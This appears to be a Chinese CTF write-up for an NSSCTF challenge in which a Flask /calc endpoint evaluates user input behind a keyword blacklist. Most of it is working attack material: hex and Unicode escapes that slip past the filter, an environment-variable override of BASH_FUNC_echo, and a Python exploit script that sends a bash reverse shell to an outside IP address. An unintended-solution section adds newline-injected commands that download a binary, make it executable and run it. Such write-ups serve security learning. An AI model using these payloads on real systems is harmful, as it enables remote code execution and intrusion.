考点
p神的环境变量注入
eval变量覆盖
16进制和unicode绕过waf

源码

@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"

def waf(s):
blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag

python下的变量覆盖
Pasted%20image%2020231122010010

只要是字符串通过引号包裹的都可以通过16进制去绕过关键词的检测
python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,在没有引号的地方也就是\U+1D52也是可以绕过的
eval([[str][0]for[\U+1D52s.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x6c\x73\x3b\x20\x7d']]])

这样就把echo变成了(){ls;}

import requests

from urllib.parse import quote

url = "http://node5.anna.nssctf.cn:28073/"

command = r"() { bash -i >& /dev/tcp/165.154.5.221/9999 0>&1;}"

command = r'\x'+r'\x'.join(command.encode().hex()[i:i+2] for i in range(0,len(command)*2,2))

print(command)

payload = r"""[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['"""+command+r"""']]]"""

print(quote(payload))

response = requests.get(url=url+f"calc?num={quote(payload)}")

print(response.text)

非预期

原题是把num也塞进去了的,eval可以拼接字符,用换行分割命令

/calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a
/calc?num=%0a'/tmp/testapp'%0a